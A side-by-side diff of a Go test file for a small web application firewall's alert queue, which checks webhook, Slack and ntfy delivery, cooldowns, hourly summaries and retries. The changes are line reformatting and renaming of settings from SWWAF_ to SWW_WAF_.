webhookURL = "https://alerts.example/smallwebwaf?team=ops" webhookURL = "https://alerts.example/sww?team=ops"
slackURL = "https://hooks.slack.example/services/T0123/B4567/abcdef" slackURL = "https://hooks.slack.example/services/T0123/B4567/abcdef"
ntfyURL = "https://ntfy.example/smallwebwaf-alerts" ntfyURL = "https://ntfy.example/sww-alerts"
ntfyToken = "tk_0123456789abcdefghijklmnopq" ntfyToken = "tk_0123456789abcdefghijklmnopq"
// instance is the instance name every alert gives. // instance is the instance name every alert gives.
instance = "fsn1app1/gitea" instance = "fsn1app1/blog"
// started is when each test starts, as an alert gives it, and // started is when each test starts, as an alert gives it, and
// anHourOn an hour later. // anHourOn an hour later.
started = "2000-01-01T00:00:00Z" started = "2000-01-01T00:00:00Z"
@@ -65,7 +65,10 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
Netblock: netip.MustParsePrefix("203.0.113.0/24"), Netblock: netip.MustParsePrefix("203.0.113.0/24"),
Country: "DE", Country: "DE",
Reason: "requests per minute over the limit of 1000", Reason: "requests per minute over the limit of 1000",
Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn}, Detail: map[string]any{
"cause": "limit",
"ban_expires": anHourOn,
},
}) })
synctest.Wait() synctest.Wait()
@@ -75,7 +78,12 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
} }
if got[0].method != http.MethodPost || got[0].url != webhookURL { if got[0].method != http.MethodPost || got[0].url != webhookURL {
t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL) t.Errorf(
"request %s %s, want POST %s",
got[0].method,
got[0].url,
webhookURL,
)
} }
for name, want := range map[string]string{ for name, want := range map[string]string{
@@ -84,7 +92,12 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
"X-Team": "ops", "X-Team": "ops",
} { } {
if got[0].header.Get(name) != want { if got[0].header.Get(name) != want {
t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want) t.Errorf(
"header %s is %q, want %q",
name,
got[0].header.Get(name),
want,
)
} }
} }
@@ -98,7 +111,10 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
"as_name": "", "as_name": "",
"country": "DE", "country": "DE",
"reason": "requests per minute over the limit of 1000", "reason": "requests per minute over the limit of 1000",
"detail": map[string]any{"cause": "limit", "ban_expires": anHourOn}, "detail": map[string]any{
"cause": "limit",
"ban_expires": anHourOn,
},
"suppressed_repeats": float64(0), "suppressed_repeats": float64(0),
}) })
wantCounts(t, q, 1, 0, 0, 0) wantCounts(t, q, 1, 0, 0, 0)
@@ -110,12 +126,25 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
params := newParams() params := newParams()
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError} params.Events = []string{
alerts.EventSourceFailure,
alerts.EventFileError,
}
webhook, q := start(t, params) webhook, q := start(t, params)
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"}) q.Raise(
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)}) alerts.Alert{
Event: alerts.EventFileError,
Reason: "a file error",
},
)
q.Raise(
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(1),
},
)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventFileError) wantEvents(t, webhook, alerts.EventFileError)
@@ -127,12 +156,17 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
t.Parallel() t.Parallel()
params := newParams() params := newParams()
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError} params.Events = []string{
alerts.EventSourceFailure,
alerts.EventFileError,
}
q := alerts.New(params) q := alerts.New(params)
if q.WouldSend(alerts.EventBan, netblock(1)) || if q.WouldSend(alerts.EventBan, netblock(1)) ||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) { q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
t.Error("a ban alert would be sent, though SWWAF_ALERT_EVENTS leaves it out") t.Error(
"a ban alert would be sent, though SWW_WAF_ALERT_EVENTS leaves it out",
)
} }
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) { if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -184,11 +218,14 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
onlyNtfy.NtfyURL = parseURL(ntfyURL) onlyNtfy.NtfyURL = parseURL(ntfyURL)
for setting, params := range map[string]alerts.Params{ for setting, params := range map[string]alerts.Params{
"SWWAF_ALERT_SLACK_WEBHOOK_URL": onlySlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL": onlySlack,
"SWWAF_ALERT_NTFY_URL": onlyNtfy, "SWW_WAF_ALERT_NTFY_URL": onlyNtfy,
} { } {
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) { if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
t.Errorf("a ban alert would not be sent with only %s set", setting) t.Errorf(
"a ban alert would not be sent with only %s set",
setting,
)
} }
} }
} }
@@ -225,8 +262,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
synctest.Wait() synctest.Wait()
got := webhook.received() got := webhook.received()
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan, wantEvents(
alerts.EventBan) t,
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventPermanentBan,
alerts.EventBan,
)
for i, want := range []struct { for i, want := range []struct {
netblock int netblock int
@@ -235,9 +278,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
alert := got[i].alert alert := got[i].alert
if alert["netblock"] != netblock(want.netblock).String() || if alert["netblock"] != netblock(want.netblock).String() ||
alert["suppressed_repeats"] != want.repeats { alert["suppressed_repeats"] != want.repeats {
t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i, t.Errorf(
alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock), "alert %d is for %v with %v repeats, want %s with %v",
want.repeats) i,
alert["netblock"],
alert["suppressed_repeats"],
netblock(want.netblock),
want.repeats,
)
} }
} }
@@ -245,7 +293,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
}) })
} }
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) { func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -254,7 +304,10 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
fileError := func(file string) alerts.Alert { fileError := func(file string) alerts.Alert {
return alerts.Alert{ return alerts.Alert{
Event: alerts.EventFileError, Event: alerts.EventFileError,
Detail: map[string]any{"file": file, "error": "line 2: an error"}, Detail: map[string]any{
"file": file,
"error": "line 2: an error",
},
} }
} }
sourceFailure := func(source string) alerts.Alert { sourceFailure := func(source string) alerts.Alert {
@@ -285,7 +338,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb", "/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
} }
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf("the webhook was sent alerts for %v, want %v", got, want) t.Errorf(
"the webhook was sent alerts for %v, want %v",
got,
want,
)
} }
wantCounts(t, q, 4, 0, 2, 0) wantCounts(t, q, 4, 0, 2, 0)
@@ -298,8 +355,12 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
after.Raise(fileError("/rules.d/50-c.rules")) after.Raise(fileError("/rules.d/50-c.rules"))
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook] waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" { if len(waiting) != 1 ||
t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting) waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
t.Errorf(
"after loading, alerts wait %+v, want the one for 50-c.rules",
waiting,
)
} }
}) })
} }
@@ -336,7 +397,12 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)}) q.Raise(
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(4),
},
)
q.Raise(alerts.Alert{Event: alerts.EventFileError}) q.Raise(alerts.Alert{Event: alerts.EventFileError})
// The summary is sent as the hour ends, and not before. // The summary is sent as the hour ends, and not before.
@@ -346,7 +412,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary) wantEvents(
t,
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
)
summary := webhook.received()[2].alert summary := webhook.received()[2].alert
wantAlert(t, summary, map[string]any{ wantAlert(t, summary, map[string]any{
@@ -359,12 +431,14 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
"as_name": "", "as_name": "",
"country": "", "country": "",
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " + "reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 2 an hour SWWAF_ALERT_MAX_PER_HOUR allows", "past the 2 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows",
"detail": map[string]any{ "detail": map[string]any{
"hour": started, "hour": started,
"count": float64(3), "count": float64(3),
"events": map[string]any{ "events": map[string]any{
"ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1), "ban": float64(
1,
), "permanent_ban": float64(1), "file_error": float64(1),
}, },
}, },
"suppressed_repeats": float64(0), "suppressed_repeats": float64(0),
@@ -375,13 +449,21 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
time.Sleep(time.Hour) time.Sleep(time.Hour)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary, wantEvents(
alerts.EventBan) t,
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
wantCounts(t, q, 4, 0, 3, 0) wantCounts(t, q, 4, 0, 3, 0)
}) })
} }
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) { func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -389,7 +471,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
params.MaxPerHour = 1 params.MaxPerHour = 1
webhook, q := start(t, params) webhook, q := start(t, params)
raise := func() { raise := func() {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
} }
// The hour's one alert, and two repeats the cooldown holds back. // The hour's one alert, and two repeats the cooldown holds back.
@@ -408,7 +492,13 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
raise() raise()
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan) wantEvents(
t,
webhook,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
got := webhook.received() got := webhook.received()
if len(got) == 3 { if len(got) == 3 {
@@ -416,11 +506,16 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
summaryRepeats := got[1].alert["suppressed_repeats"] summaryRepeats := got[1].alert["suppressed_repeats"]
lastRepeats := got[2].alert["suppressed_repeats"] lastRepeats := got[2].alert["suppressed_repeats"]
if detail["count"] != float64(1) || summaryRepeats != float64(2) || if detail["count"] != float64(1) ||
summaryRepeats != float64(2) ||
lastRepeats != float64(0) { lastRepeats != float64(0) {
t.Errorf("the summary counts %v alerts and %v repeats, and the last "+ t.Errorf(
"alert gives %v repeats, want 1, 2 and 0", detail["count"], "the summary counts %v alerts and %v repeats, and the last "+
summaryRepeats, lastRepeats) "alert gives %v repeats, want 1, 2 and 0",
detail["count"],
summaryRepeats,
lastRepeats,
)
} }
} }
@@ -428,7 +523,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
}) })
} }
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) { func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
t *testing.T,
) {
t.Parallel() t.Parallel()
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} { for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
@@ -465,8 +562,12 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
kept := len(q.Snapshot().Cooldowns) kept := len(q.Snapshot().Cooldowns)
if kept > int(cooldown/time.Minute) { if kept > int(cooldown/time.Minute) {
t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d", t.Errorf(
netblocks, kept, int(cooldown/time.Minute)) "after %d netblocks, %d cooldowns are kept, want at most %d",
netblocks,
kept,
int(cooldown/time.Minute),
)
} }
} }
@@ -484,8 +585,13 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
kept := len(q.Snapshot().Cooldowns) kept := len(q.Snapshot().Cooldowns)
if kept != 0 || repeats != float64(netblocks) { if kept != 0 || repeats != float64(netblocks) {
t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+ t.Errorf(
"want 0 and %d", kept, repeats, netblocks) "%d cooldowns are kept and the webhook was given %v repeats, "+
"want 0 and %d",
kept,
repeats,
netblocks,
)
} }
}) })
}) })
@@ -525,7 +631,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
wantCounts(t, q, 0, int64(len(want)), 0, 0) wantCounts(t, q, 0, int64(len(want)), 0, 0)
if !strings.Contains(log.String(), if !strings.Contains(log.String(),
`"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) { `"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) {
t.Errorf("process log %q names no failure", log.String()) t.Errorf("process log %q names no failure", log.String())
} }
@@ -595,7 +701,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
wantCounts(t, q, 1, 3, 0, 1) wantCounts(t, q, 1, 3, 0, 1)
if !strings.Contains(log.String(), if !strings.Contains(log.String(),
`"msg":"gave up an alert SWWAF_ALERT_WEBHOOK_URL refused"`) { `"msg":"gave up an alert SWW_WAF_ALERT_WEBHOOK_URL refused"`) {
t.Errorf("process log %q names no alert given up", log.String()) t.Errorf("process log %q names no alert given up", log.String())
} }
}) })
@@ -618,10 +724,18 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
synctest.Wait() synctest.Wait()
logged := log.String() logged := log.String()
if !strings.Contains(logged, if !strings.Contains(
`"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) || logged,
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") { `"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`,
t.Errorf("process log %q names no failure, or names the URL", logged) ) ||
strings.Contains(
logged,
"alerts.example",
) || strings.Contains(logged, "team=ops") {
t.Errorf(
"process log %q names no failure, or names the URL",
logged,
)
} }
}) })
} }
@@ -639,7 +753,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
// than the queue holds is raised: none waits, and the oldest, the // than the queue holds is raised: none waits, and the oldest, the
// one the webhook was sent, is dropped. // one the webhook was sent, is dropped.
for n := range alerts.QueueSize + 1 { for n := range alerts.QueueSize + 1 {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) q.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
if n == 0 { if n == 0 {
synctest.Wait() synctest.Wait()
@@ -653,9 +769,17 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
wantCounts(t, q, 0, 0, 0, 1) wantCounts(t, q, 0, 0, 0, 1)
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook] waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) { if len(waiting) != alerts.QueueSize ||
t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s", waiting[0].Netblock != netblock(1) {
len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1)) t.Fatalf(
"%d alerts wait, the first for %s, want %d, the first for %s",
len(
waiting,
),
waiting[0].Netblock,
alerts.QueueSize,
netblock(1),
)
} }
// The request is abandoned after 10 seconds, and the webhook, which // The request is abandoned after 10 seconds, and the webhook, which
@@ -667,14 +791,22 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
got := webhook.received() got := webhook.received()
if len(got) != alerts.QueueSize+1 || if len(got) != alerts.QueueSize+1 ||
got[0].alert["netblock"] != netblock(0).String() { got[0].alert["netblock"] != netblock(0).String() {
t.Fatalf("the webhook had %d requests, want %d, the first for %s", t.Fatalf(
len(got), alerts.QueueSize+1, netblock(0)) "the webhook had %d requests, want %d, the first for %s",
len(got),
alerts.QueueSize+1,
netblock(0),
)
} }
for i, request := range got[1:] { for i, request := range got[1:] {
if request.alert["netblock"] != netblock(i+1).String() { if request.alert["netblock"] != netblock(i+1).String() {
t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"], t.Fatalf(
netblock(i+1)) "request %d is for %v, want %s",
i+1,
request.alert["netblock"],
netblock(i+1),
)
} }
} }
@@ -692,8 +824,12 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// Not sent: Run is not running. The repeat is held back by the // Not sent: Run is not running. The repeat is held back by the
// cooldown, and the file error past the hourly limit. // cooldown, and the file error past the hourly limit.
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) before.Raise(
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
before.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
before.Raise(alerts.Alert{Event: alerts.EventFileError}) before.Raise(alerts.Alert{Event: alerts.EventFileError})
time.Sleep(time.Minute) time.Sleep(time.Minute)
@@ -704,7 +840,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// The new queue sends the alert waiting, holds back the repeat as // The new queue sends the alert waiting, holds back the repeat as
// the cooldown still runs, and sends the summary of the hour, which // the cooldown still runs, and sends the summary of the hour, which
// gives both repeats, as the cooldown has run out. // gives both repeats, as the cooldown has run out.
after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) after.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventBan) wantEvents(t, webhook, alerts.EventBan)
@@ -715,9 +853,13 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
summary := webhook.received()[1].alert summary := webhook.received()[1].alert
detail, _ := summary["detail"].(map[string]any) detail, _ := summary["detail"].(map[string]any)
if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) { if detail["count"] != float64(1) ||
t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2", summary["suppressed_repeats"] != float64(2) {
detail["count"], summary["suppressed_repeats"]) t.Errorf(
"the summary counts %v alerts and %v repeats, want 1 and 2",
detail["count"],
summary["suppressed_repeats"],
)
} }
}) })
} }
@@ -747,7 +889,13 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
for i, each := range want { for i, each := range want {
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text) wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text) wantNtfyMessage(
t,
ntfy[i],
each.title,
each.priorityAndTag,
each.text,
)
} }
}) })
} }
@@ -760,14 +908,23 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
params.WebhookURL = nil params.WebhookURL = nil
params.MaxPerHour = 1 params.MaxPerHour = 1
standIns, q := startAll(t, params) standIns, q := startAll(t, params)
ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"} ban := alerts.Alert{
Event: alerts.EventBan,
Netblock: netblock(1),
Reason: "a ban",
}
// The hour's one alert, a repeat of it the cooldown holds back, and // The hour's one alert, a repeat of it the cooldown holds back, and
// an alert past the limit; once the hour has ended, its summary, // an alert past the limit; once the hour has ended, its summary,
// which gives the repeat, and the next alert, which gives none. // which gives the repeat, and the next alert, which gives none.
q.Raise(ban) q.Raise(ban)
q.Raise(ban) q.Raise(ban)
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"}) q.Raise(
alerts.Alert{
Event: alerts.EventFileError,
Reason: "a file error",
},
)
time.Sleep(time.Hour) time.Sleep(time.Hour)
synctest.Wait() synctest.Wait()
q.Raise(ban) q.Raise(ban)
@@ -782,12 +939,22 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
} }
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " + const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 1 an hour SWWAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " + "past the 1 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
"by SWWAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1" "by SWW_WAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary) wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary) wantNtfyMessage(
wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32") t,
ntfy[1],
instance+": summary",
"default bar_chart",
summary,
)
wantSlackMessage(
t,
slack[2],
"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
)
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry", wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
"a ban\nnetblock: 203.0.113.1/32") "a ban\nnetblock: 203.0.113.1/32")
}) })
@@ -813,7 +980,11 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
wantSlackMessage(t, got[0], "*app&lt;1&gt;: file_error*\n"+ wantSlackMessage(t, got[0], "*app&lt;1&gt;: file_error*\n"+
"&lt;!channel&gt; &amp; &lt;https://x.example|y&gt;") "&lt;!channel&gt; &amp; &lt;https://x.example|y&gt;")
wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>") wantBodies(
t,
standIns[alerts.DestinationNtfy],
"<!channel> & <https://x.example|y>",
)
}) })
} }
@@ -835,7 +1006,12 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
params.NtfyToken = tc.token params.NtfyToken = tc.token
standIns, q := startAll(t, params) standIns, q := startAll(t, params)
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(
alerts.Alert{
Event: alerts.EventBan,
Netblock: netblock(1),
},
)
synctest.Wait() synctest.Wait()
for destination, want := range map[string][]string{ for destination, want := range map[string][]string{
@@ -845,13 +1021,21 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
} { } {
got := standIns[destination].received() got := standIns[destination].received()
if len(got) != 1 { if len(got) != 1 {
t.Fatalf("%s was sent %d requests, want 1", destination, len(got)) t.Fatalf(
"%s was sent %d requests, want 1",
destination,
len(got),
)
} }
authorization := got[0].header.Values("Authorization") authorization := got[0].header.Values("Authorization")
if !slices.Equal(authorization, want) { if !slices.Equal(authorization, want) {
t.Errorf("%s was sent Authorization %q, want %q", destination, t.Errorf(
authorization, want) "%s was sent Authorization %q, want %q",
destination,
authorization,
want,
)
} }
} }
}) })
@@ -870,7 +1054,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
standIns[alerts.DestinationSlack].set(hanging) standIns[alerts.DestinationSlack].set(hanging)
for n := range 3 { for n := range 3 {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) q.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
} }
synctest.Wait() synctest.Wait()
@@ -885,7 +1071,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
wantDestinationCounts(t, q, destination, want) wantDestinationCounts(t, q, destination, want)
} }
if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 { if got := standIns[alerts.DestinationSlack].received(); len(
got,
) != 1 {
t.Errorf("Slack was sent %d requests, want 1", len(got)) t.Errorf("Slack was sent %d requests, want 1", len(got))
} }
@@ -897,14 +1085,19 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
synctest.Wait() synctest.Wait()
wantDestinationCounts(t, q, alerts.DestinationSlack, wantDestinationCounts(t, q, alerts.DestinationSlack,
alerts.Counts{Sent: 3, Failed: 1}) alerts.Counts{Sent: 3, SendFailures: 1})
logged := log.String() logged := log.String()
if !strings.Contains(logged, if !strings.Contains(
`"msg":"sending an alert to SWWAF_ALERT_SLACK_WEBHOOK_URL failed"`) || logged,
`"msg":"sending an alert to SWW_WAF_ALERT_SLACK_WEBHOOK_URL failed"`,
) ||
strings.Contains(logged, "hooks.slack.example") || strings.Contains(logged, "hooks.slack.example") ||
strings.Contains(logged, "T0123") { strings.Contains(logged, "T0123") {
t.Errorf("process log %q names no failure, or names the URL", logged) t.Errorf(
"process log %q names no failure, or names the URL",
logged,
)
} }
}) })
} }
@@ -922,7 +1115,9 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
// Each alert is raised once each destination has done all it can // Each alert is raised once each destination has done all it can
// with those before it. // with those before it.
for n := range alerts.QueueSize + 1 { for n := range alerts.QueueSize + 1 {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) q.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
synctest.Wait() synctest.Wait()
} }
@@ -934,7 +1129,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
for destination, want := range map[string]alerts.Counts{ for destination, want := range map[string]alerts.Counts{
alerts.DestinationWebhook: {Sent: all}, alerts.DestinationWebhook: {Sent: all},
alerts.DestinationSlack: {Dropped: 1}, alerts.DestinationSlack: {Dropped: 1},
alerts.DestinationNtfy: {Failed: all, Dropped: all}, alerts.DestinationNtfy: {SendFailures: all, Dropped: all},
} { } {
wantDestinationCounts(t, q, destination, want) wantDestinationCounts(t, q, destination, want)
} }
@@ -965,8 +1160,8 @@ func TestEachDestinationIsSentOnlyTheAlertsWaitingForIt(t *testing.T) {
synctest.Wait() synctest.Wait()
wantBodies(t, standIns[alerts.DestinationSlack], wantBodies(t, standIns[alerts.DestinationSlack],
`{"text":"*fsn1app1/gitea: file_error*\nsecond"}`, `{"text":"*fsn1app1/blog: file_error*\nsecond"}`,
`{"text":"*fsn1app1/gitea: file_error*\nthird"}`) `{"text":"*fsn1app1/blog: file_error*\nthird"}`)
wantBodies(t, standIns[alerts.DestinationNtfy], "fourth") wantBodies(t, standIns[alerts.DestinationNtfy], "fourth")
// alerts.json then lists Slack and ntfy alone, with no alert waiting. // alerts.json then lists Slack and ntfy alone, with no alert waiting.
@@ -1136,7 +1331,10 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
// startAll returns, by destination, a stand-in that answers for each // startAll returns, by destination, a stand-in that answers for each
// destination params sets, and a Queue that sends to them, run until the // destination params sets, and a Queue that sends to them, run until the
// test ends. // test ends.
func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) { func startAll(
t *testing.T,
params alerts.Params,
) (map[string]*standIn, *alerts.Queue) {
t.Helper() t.Helper()
q := alerts.New(params) q := alerts.New(params)
@@ -1170,7 +1368,9 @@ func midnight() time.Time {
